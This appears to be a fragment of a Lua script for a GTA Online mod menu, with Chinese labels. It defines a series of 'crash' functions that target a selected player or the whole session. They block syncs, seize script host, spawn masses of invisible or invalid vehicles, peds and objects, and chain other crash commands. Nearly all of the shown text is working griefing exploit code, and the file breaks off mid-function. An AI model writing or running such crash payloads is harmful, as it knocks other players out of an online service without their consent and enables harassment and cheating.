    entities.create_object(1704052293, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)
    entities.create_object(4187491267, ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)), true, false)
    end)
--
    local all_peds_list = {
        "ig_siemonyetarian",
    }
    local BrokenScenarioPeds = {
        "s_m_y_construct_01",
        "s_m_y_construct_02",
        "csb_janitor",
        "ig_russiandrunk",
        "s_m_m_gardener_01",
        "s_m_y_winclean_01",
        "a_f_m_bodybuild_01",
        "s_m_m_cntrybar_01",
        "s_m_y_chef_01",
        "ig_abigail",
    }
    local BrokenScenarios = {
        "WORLD_HUMAN_CONST_DRILL",
        "WORLD_HUMAN_HAMMERING",
        "WORLD_HUMAN_JANITOR",
        "WORLD_HUMAN_DRINKING",
        "WORLD_HUMAN_GARDENER_PLANT",
        "WORLD_HUMAN_MAID_CLEAN",
        "WORLD_HUMAN_MUSCLE_FREE_WEIGHTS",
        "WORLD_HUMAN_STAND_FISHING",
        "PROP_HUMAN_BBQ",
        "WORLD_HUMAN_WELDING",
    }
    local BrokenScenariosProps = {
        "prop_tool_jackham",
        "prop_tool_hammer",
        "prop_tool_broom",
        "prop_amb_40oz_02",
        "prop_cs_trowel",
        "prop_rag_01",
        "prop_curl_bar_01",
        "prop_fishing_rod_01",
        "prop_fish_slice_01",
        "prop_weld_torch",
        "p_amb_coffeecup_01",
    }
--
    local function BlockSyncs(pid, callback)
        for _, i in ipairs(players.list(false, true, true)) do
            if i ~= pid then
                local outSync = menu.ref_by_rel_path(menu.player_root(i), "Outgoing Syncs>Block")
                menu.trigger_command(outSync, "on")
            end
        end
        wait(10)
        callback()
        for _, i in ipairs(players.list(false, true, true)) do
            if i ~= pid then
                local outSync = menu.ref_by_rel_path(menu.player_root(i), "Outgoing Syncs>Block")
                menu.trigger_command(outSync, "off")
            end
        end
    end
--
GTAC(updates, "宵宵古今", {"reol"}, "流星&堕落", function()
    reolcrash(PlayerID)
    menu.trigger_commands("12crash".. PLAYER.GET_PLAYER_NAME(PlayerID))
end)
--

diudiuflower = GT(updates,"猛女散花", {"diudiucrash"}, "")
GTAC(diudiuflower, "猛女散花", {"diudiuevil"}, "针对个人玩家\n不建议一直按住", function()
    menu.trigger_commands("givesh".. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("ghostv6".. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("ghostv8".. PLAYER.GET_PLAYER_NAME(PlayerID))
end)

GTAC(diudiuflower, "猛女散花(全局版本)", {"diudiuevilall"}, "全局崩溃版本\n不建议一直按住", function()
    menu.trigger_commands("givesh".. PLAYER.GET_PLAYER_NAME(PlayerID)) --Let Player Become Scripts Host to Manager Event
    menu.trigger_commands("ghostv8".. PLAYER.GET_PLAYER_NAME(PlayerID)) --Crash Event(XQ) & MP Freemode 01 Ped Spawner
    menu.trigger_commands("12crash".. PLAYER.GET_PLAYER_NAME(PlayerID)) --Freemode Entity Control Spawner (Taxi Ped)
    menu.trigger_commands("chokeall") --Command For Stand Crash All (C2)
    menu.trigger_commands("sixfeel") --Invalid Object Crash (Prevent Youself)
    --Protection in Stand is better
end)

GTAC(updates, "雨落纷纷", {"rainfell"}, "如今的瓢泼大雨比以往更加强烈\n你仍然可以站在GTVIP的雨伞之下", function()
    local edition = menu.get_edition()
    if edition == 3 then
    util.toast("再见")
    menu.trigger_commands("umbrella".. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("steamroll".. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("ghostv3".. PLAYER.GET_PLAYER_NAME(PlayerID))
    menu.trigger_commands("ghostv4".. PLAYER.GET_PLAYER_NAME(PlayerID))
    elseif edition == 0 then
    util.toast("您是免费版用户，我还能说什么呢")
    elseif edition == 1 then
    util.toast("您是基础版用户，该崩溃仅在终极版可用")
    elseif edtion == 2 then
    util.toast("您是常规版用户，该崩溃仅在终极版可用")
    end
    end)
--

GTAC(updates, 'NASA崩溃', {"nsacrash"}, '', function ()
    ped_task = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    ENTITY.FREEZE_ENTITY_POSITION(PLAYER.GET_PLAYER_PED(PlayerID), true)
    entities.create_object(0x9cf21e0f , ped_task, true, false) 
    local Rui_task = CreateVehicle(util.joaat("Ruiner2"), ped_task, ENTITY.GET_ENTITY_HEADING(TTPed), true)
    local ped_task2 = CreatePed(26 , util.joaat("ig_kaylee"), ped_task, 0)
    for i=0, 10 do
    local pedps = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    local allpeds = entities.get_all_peds_as_handles()
    local allvehicles = entities.get_all_vehicles_as_handles()
    local allobjects = entities.get_all_objects_as_handles()
    local ownped = players.user_ped(players.user())
    request_model(0x78BC1A3C)
    request_model(0x000B75B9)
    request_model(0x15F27762)
    request_model(0x0E512E79)
    CreateVehicle(0xD6BC7523,pedps,0)
    CreateVehicle(0x1F3D44B5,pedps,0)
    CreateVehicle(0x2A72BEAB,pedps,0)
    CreateVehicle(0x174CB172,pedps,0)
    CreateVehicle(0x78BC1A3C,pedps,0)
    CreateVehicle(0x0E512E79,pedps,0)
    for i = 1, #allpeds do
    if allpeds[i] ~= ownped then
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(allpeds[i], 0, 0, 0)
    end
    end
    for i = 1, #allvehicles do
    if allvehicles[i] ~= ownvehicle then
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(allvehicles[i], 0, 0, 0)
    VEHICLE.SET_VEHICLE_ON_GROUND_PROPERLY(allvehicles[i], 0, 0, 0)
    VEHICLE.SET_TAXI_LIGHTS(allvehicles[i])
    end
    end
    for i = 1, #allobjects do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(allobjects[i], 0, 0, 0)
    end
    wait()
    end
    PED.RESURRECT_PED(players.user_ped(PlayerID))
    wait(2000)
    entities.delete_by_handle(Rui_task)
    entities.delete_by_handle(ped_task2)
    end)

    GTAC(hidecrash, "EA7崩溃", {''}, "掩盖你的所有烦恼", function()
    menu.trigger_commands("steamroll".. PLAYER.GET_PLAYER_NAME(PlayerID))
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(pos, 0, 0, 0)
    A = CreateVehicle(2971866336, pos, 0)
    ENTITY.SET_ENTITY_INVINCIBLE(A, true)
    ENTITY.SET_ENTITY_VISIBLE(A, false)
    B = CreateVehicle(3852654278, pos, 0)
    ENTITY.SET_ENTITY_INVINCIBLE(B, true)
    ENTITY.SET_ENTITY_VISIBLE(B, false)
    C = CreateVehicle(3471458123, pos, 0)
    ENTITY.SET_ENTITY_INVINCIBLE(C, true)
    ENTITY.SET_ENTITY_VISIBLE(C, false)
    D = CreateVehicle(3471458123, pos, 0)
    ENTITY.SET_ENTITY_INVINCIBLE(D, true)
    ENTITY.SET_ENTITY_INVINCIBLE(D, false)
    E = CreateVehicle(630371791, pos, 0)
    ENTITY.SET_ENTITY_INVINCIBLE(E, true)
    ENTITY.SET_ENTITY_VISIBLE(E, false)
    F = CreateVehicle(630371791, pos, 0)
    ENTITY.SET_ENTITY_INVINCIBLE(F, true)
    ENTITY.SET_ENTITY_VISIBLE(F, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(B, A, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(F, A, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(C, A, 0, 0, 0, 0, 0, 0, 0, 0,true, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(D, A, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(E, A, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
    ppos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(ppos, 0, 0, 0)
    end)

    GTAC(updates, '彩色泡泡', {"rainbowpapaw"}, '建议长按使用喔~', function (f)
    --menu.trigger_commands("steamroll".. PLAYER.GET_PLAYER_NAME(PlayerID))
    player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    veh = entities.get_all_vehicles_as_handles()
    for i = 1, #veh do
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh[i])
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh[i], 0, 0, 5)
    TASK.TASK_VEHICLE_TEMP_ACTION(player, veh[i], 18, 777)
    TASK.TASK_VEHICLE_TEMP_ACTION(player, veh[i], 17, 888)
    TASK.TASK_VEHICLE_TEMP_ACTION(player, veh[i], 16, 999)
    end
    end)

    GTAC(updates, '花神之舞', {"flowerdance"}, '建议长按使用喔~', function (f)
    plauuepos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    plauuepos.x = plauuepos.x + 1.2
    plauuepos.z = plauuepos.z -0.5
    hunter = {}
    for i = 1 ,3 do
    for n = 0,120 do
    hunter[n] = CreateVehicle(-692292317,plauuepos,0)
    wait(0)
    ENTITY.FREEZE_ENTITY_POSITION(hunter[n],true)
    wait(0)
    VEHICLE.EXPLODE_VEHICLE(hunter[n], true, true)
    end
    wait(190)
    for i = 1,#hunter do
    if hunter[i] ~= nil then
    entities.delete_by_handle(hunter[i])
    end
    end
    end
    util.toast("崩溃已结束")
    hunter = nil
    plauuepos = nil
    end)

    GTAC(updates, "支离破碎", {"lettingbreak"}, "建议长按使用喔~\n\nGRANDTOURINGVIP\n2Take1版本同款崩溃", function(f)
    --menu.trigger_commands("steamroll".. PLAYER.GET_PLAYER_NAME(PlayerID))
    local vehs = {}
    local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    local m = {
    "dubsta",
    "astron",
    "huntley",
    "patriot",
    "ingot",
    "asea",
    "stratum",
    "adder",
    "ninef",
    "baller",
    "comet2",
    "zentorno",
    "bifta",
    "akula",
    "kosatka",
    }
    for i=1,#m do
    local h = util.joaat(m[i])
    util.toast(h)
    STREAMING.REQUEST_MODEL(h)
    while not STREAMING.HAS_MODEL_LOADED(h) do
    wait(0)
    end
    c.z = c.z + 1.0
    vehs[i] = CreateVehicle(h, c, 0, true, false)
    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(h)
    end
    while f do
    for i=1,#vehs do
    ENTITY.SET_ENTITY_VISIBLE(vehs[i], false)
    VEHICLE.SET_DOOR_ALLOWED_TO_BE_BROKEN_OFF(vehs[i], 0, true)
    VEHICLE.SET_DOOR_ALLOWED_TO_BE_BROKEN_OFF(vehs[i], 1, true)
    VEHICLE.SET_DOOR_ALLOWED_TO_BE_BROKEN_OFF(vehs[i], 2, true)
    VEHICLE.SET_DOOR_ALLOWED_TO_BE_BROKEN_OFF(vehs[i], 3, true)
    VEHICLE.SET_DOOR_ALLOWED_TO_BE_BROKEN_OFF(vehs[i], 4, true)
    VEHICLE.SET_DOOR_ALLOWED_TO_BE_BROKEN_OFF(vehs[i], 5, true)
    VEHICLE.SET_DOOR_ALLOWED_TO_BE_BROKEN_OFF(vehs[i], 6, true)
    VEHICLE.SET_DOOR_ALLOWED_TO_BE_BROKEN_OFF(vehs[i], 7, true)
    wait(0)
    VEHICLE.SET_VEHICLE_DOOR_BROKEN(vehs[i], 0, false)
    VEHICLE.SET_VEHICLE_DOOR_BROKEN(vehs[i], 1, false)
    VEHICLE.SET_VEHICLE_DOOR_BROKEN(vehs[i], 2, false)
    VEHICLE.SET_VEHICLE_DOOR_BROKEN(vehs[i], 3, false)
    VEHICLE.SET_VEHICLE_DOOR_BROKEN(vehs[i], 4, false)
    VEHICLE.SET_VEHICLE_DOOR_BROKEN(vehs[i], 5, false)
    VEHICLE.SET_VEHICLE_DOOR_BROKEN(vehs[i], 6, false)
    VEHICLE.SET_VEHICLE_DOOR_BROKEN(vehs[i], 7, false)
    end
    wait(100)
    for i=1,#vehs do
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehs[i])
    VEHICLE.SET_VEHICLE_FIXED(vehs[i])
    end
    wait(100)
    end
    for i=1,#vehs do
    entities.delete_by_handle(vehs[i])
    end
    end)

    GTAC(updates, '不可饶恕', {"nofuckoff"}, '', function ()
    plauuepos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    pedmy = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    towtruck = CreateVehicle(-1323100960, pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(towtruck, true)	
    ENTITY.FREEZE_ENTITY_POSITION(towtruck, true)			
    towtruck2 = CreateVehicle(-442313018, pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(towtruck2, true)	
    ENTITY.FREEZE_ENTITY_POSITION(towtruck2, true)
    scrap = CreateVehicle(-1700801569, pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(scrap, true)	
    ENTITY.FREEZE_ENTITY_POSITION(scrap, true)					
    dinghy3	= CreateVehicle(509498602, pos,0)	
    ENTITY.SET_ENTITY_INVINCIBLE(dinghy3, true)	
    ENTITY.FREEZE_ENTITY_POSITION(dinghy3, true)		
    barracks = CreateVehicle(-823509173, pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(barracks, true)	
    car_1 = CreateVehicle(1886712733, pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(towtruck, true)	
    ENTITY.FREEZE_ENTITY_POSITION(towtruck, true)			
    car_2 = CreateVehicle(516990260, pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(towtruck2, true)	
    ENTITY.FREEZE_ENTITY_POSITION(towtruck2, true)
    car_3 = CreateVehicle(887537515, pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(scrap, true)	
    ENTITY.FREEZE_ENTITY_POSITION(scrap, true)					
    car_4	= CreateVehicle(3251507587, pos,0)	
    ENTITY.SET_ENTITY_INVINCIBLE(dinghy3, true)	
    ENTITY.FREEZE_ENTITY_POSITION(dinghy3, true)		
    car_5 = CreateVehicle(444583674, pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(barracks, true)	
    car = CreateVehicle(0x432EA949,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car,true)
    car2 = CreateVehicle(0x432EA949,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car2,true)
    car3 = CreateVehicle(0xFCFCB68B,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car3,true)
    car4 = CreateVehicle(0xFCFCB68B,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car4,true)
    car5 = CreateVehicle(0xFCFCB68B,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car5,true)
    car6 = CreateVehicle(0xFCFCB68B,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car6,true)
    car7 = CreateVehicle(0x1E5E54EA,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car7,true)
    car8 = CreateVehicle(0x33B47F96,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car8,true)
    car9 = CreateVehicle(0x1E5E54EA,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car9,true)
    car10 = CreateVehicle(0x78BC1A3C,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car10,true)
    car11 = CreateVehicle(0x78BC1A3C,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car11,true)
    car12 = CreateVehicle(0x8125BCF9,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car12,true)
    car13 = CreateVehicle(0x9AE6DDA1,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car13,true)
    car14 = CreateVehicle(0x9AE6DDA1,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car14,true)
    car15 = CreateVehicle(0xAC5DF515,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car15,true)
    car16 = CreateVehicle(0xAC5DF515,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car16,true)
    car17 = CreateVehicle(0xAC5DF515,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car17,true)
    car18 = CreateVehicle(0xAC5DF515,pos,0)
    ENTITY.FREEZE_ENTITY_POSITION(car18,true)
    ENTITY.FREEZE_ENTITY_POSITION(barracks, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(towtruck2,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(scrap,towtruck, 0, 0, 0,0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(dinghy3,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(barracks,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(towtruck,towtruck2, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car_1,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car_2,towtruck, 0, 0, 0,0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car_3,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car_4,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car_5,towtruck2, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car2,towtruck, 0, 0, 0,0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car3,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car4,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car5,towtruck2, 0,0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car6,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car7,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car8,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car9,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car10,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car11,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car12,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car13,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car14,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car15,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car16,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car17,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(car18,towtruck, 0, 0, 0, 0, 0,0,0, false, true, false, 0, true)
    plauuepos.x = plauuepos.x + 1
    plauuepos.z = plauuepos.z + 1
    for i = 0, 60 do
    towtruck = CreateVehicle(-442313018,plauuepos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(towtruck,true)
    towtruck2 = CreateVehicle(0x1A7FCEFA,plauuepos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(towtruck2,true)
    ENTITY.SET_ENTITY_INVINCIBLE(towtruck,true)
    WIRI_VEHICLE.ATTACH_VEHICLE_TO_TOW_TRUCK(towtruck,towtruck2,false, 0, 0, 0)
    car = CreateVehicle(0xF337AB36,plauuepos,0)
    WIRI_VEHICLE.ATTACH_VEHICLE_TO_TOW_TRUCK(towtruck,car,false, 0, 0, 0)
    end
    car = CreateVehicle(0x432EA949,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car2 = CreateVehicle(0x432EA949,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car3 = CreateVehicle(0xFCFCB68B,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car4 = CreateVehicle(0xFCFCB68B,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car5 = CreateVehicle(0xFCFCB68B,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car6 = CreateVehicle(0xFCFCB68B,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car7 = CreateVehicle(0x1E5E54EA,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car8 = CreateVehicle(0x33B47F96,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car9 = CreateVehicle(0x1E5E54EA,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car10 = CreateVehicle(0x78BC1A3C,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car11 = CreateVehicle(0x78BC1A3C,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car12 = CreateVehicle(0x8125BCF9,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car13 = CreateVehicle(0x9AE6DDA1,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car14 = CreateVehicle(0x9AE6DDA1,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car15 = CreateVehicle(0xAC5DF515,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car16 = CreateVehicle(0xAC5DF515,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car17 = CreateVehicle(0xAC5DF515,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    car18 = CreateVehicle(0xAC5DF515,plauuepos,0)
    ENTITY.FREEZE_ENTITY_POSITION(towtruck,true)
    plauuepos = nil
    wait(4500)
    if players.exists(PlayerID) then
    for i = 1, #vehicles do
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicles[i])
    end
    if #vehicles > 30 then
    util.toast("找到有效物体 正在执行崩溃...")
    wait(1000)
    STREAMING.REQUEST_MODEL(0x6FACDF31)
    tow_truck_5g_vehicle = CreateVehicle(0x6FACDF31, utilities.offset_coords_forward(ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid)) + 0, 0, 5, ENTITY.GET_ENTITY_HEADING(PLAYER.GET_PLAYER_PED(pid)), 10), 0, true, false)
    ENTITY.SET_ENTITY_INVINCIBLE(tow_truck_5g_vehicle, true)
    ENTITY.SET_ENTITY_VISIBLE(tow_truck_5g_vehicle, false)
    for i = 1, #vehicles do
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicles[i])
    ENTITY.SET_ENTITY_INVINCIBLE(vehicles[i], true)
    ENTITY.SET_ENTITY_VISIBLE(vehicles[i], false)
    end
    for i = 1, #vehicles do
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicles[i])
    ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicles[i], tow_truck_5g_vehicle, 0, 0,0,0, 0,0,0, true, true, false, 0, false)
    wait(1)
    end
    local time = util.current_time_millis() + 2000
    while time > util.current_time_millis() do
    wait(0)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
    for i = 1, #vehicles do
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicles[i])
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(vehicles[i], 0, 0, 5)
    end
    end
    util.toast("崩溃完成.")
    else
    util.toast("崩溃完成")
    end
    else
    util.toast("崩溃完成")
    end
    end)

    GTAC(updates, '销声割迹', {}, '', function (f)
    local model_array <const> = {0x58f77553,0x1446590a}
    local pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) pos.x = pos.x + 3
    local ped_ <const> = CreatePed(26,util.joaat("ig_kaylee"),pos,0)
    for spawn, vel in pairs(model_array) do
    local ves <const> = {}
    ves[spawn] = CreateVehicle(vel,pos,0)
    for key, value in pairs(ves) do
    PED.SET_PED_INTO_VEHICLE(ped_,value,-1)
    TASK.TASK_VEHICLE_HELI_PROTECT(ped_,value,PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID),1,1,100,10,1)
    end
    end
    wait(2000)
    local vels_ <const> = entities.get_all_vehicles_as_handles()
    for delete, value in pairs(vels_) do
    entities.delete_by_handle(value)
    entities.delete_by_handle(ped_)
    end
    if f then
    local position <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    position.x = position.x + 3
    local sb_ped <const> = CreatePed(26,util.joaat("a_c_rat"),position,0)
    local crash_plane <const> = CreateVehicle(0x9c5e5644,position,0)
    PED.SET_PED_INTO_VEHICLE(sb_ped,crash_plane,-1)
    PED.SET_PED_INTO_VEHICLE(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID),crash_plane,-1)
    ENTITY.FREEZE_ENTITY_POSITION(crash_plane,true)
    local time <const> = util.current_time_millis() + 2000
    TASK.TASK_OPEN_VEHICLE_DOOR(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID), crash_plane, 9999, -1, 2)
    while time > util.current_time_millis() do
    TASK.TASK_LEAVE_VEHICLE(sb_ped, crash_plane, 0)
    wait(5)
    end
    entities.delete_by_handle(sb_ped)
    end
    if f then
    local positions <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    local rat <const> = CreatePed(26,util.joaat("a_c_rat"),positions,0)
    ENTITY.SET_ENTITY_VISIBLE(rat,false)
    local obs <const> = OBJECT.CREATE_OBJECT_NO_OFFSET(1888301071,3,0,0,true,false)
    local time <const> = util.current_time_millis() + 2000
    while time > util.current_time_millis() do
    TASK.TASK_CLIMB_LADDER(rat)	
    wait(100)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(rat)
    end
    if f then
    local position <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) position.x = position.x + 3
    local model = {util.joaat("cs_wade"),util.joaat("a_c_rat")}
    for _spawn, value in pairs(model) do
    local task_crash = {}
    task_crash[_spawn] = CreatePed(26,value,position,0)
    ENTITY.FREEZE_ENTITY_POSITION(task_crash[_spawn],true)
    for start, value1 in pairs(task_crash) do
    local play = {}
    WEAPON.GIVE_DELAYED_WEAPON_TO_PED(value1, util.joaat("weapon_pistol"), 0, true)
    wait(200)
    play[start] = MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 0.1, pos.x, pos.y, pos.z, 0, true, util.joaat("weapon_stungun"), players.user_ped(), false, true, 100)
    wait(500)
    ENTITY.FREEZE_ENTITY_POSITION(value1,false)
    end
    wait(2000)
    entities.delete_by_handle(value)
    end
    end
    end
    end)

    GTLP(updates, "地铁头", {}, "", function()
        menu.trigger_commands("rainbowpapaw".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("flowerdance".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(100)
        menu.trigger_commands("lettingbreak".. PLAYER.GET_PLAYER_NAME(PlayerID))
        wait(200)
        menu.trigger_commands("superc")
    end)

    GTAC(updates, "OG崩溃", {}, "" ,function ()
        ogcrash(PlayerID)
    end)

    GTAC(updates, "小苏专属崩溃", {}, "" ,function ()
        local stupid_pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) 
        stupid_pos.y = stupid_pos.y - 2
        local mod_vel = {-692292317,184361638,642617954,586013744,}       
        for _spawn, value in pairs(mod_vel) do
        local s = {}
        for i = 1, 10, 1 do  
        s[_spawn] = CreateVehicle(value,stupid_pos,0)
        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(Entity, true, false)
        wait(0)
        end
        end
        wait(100)
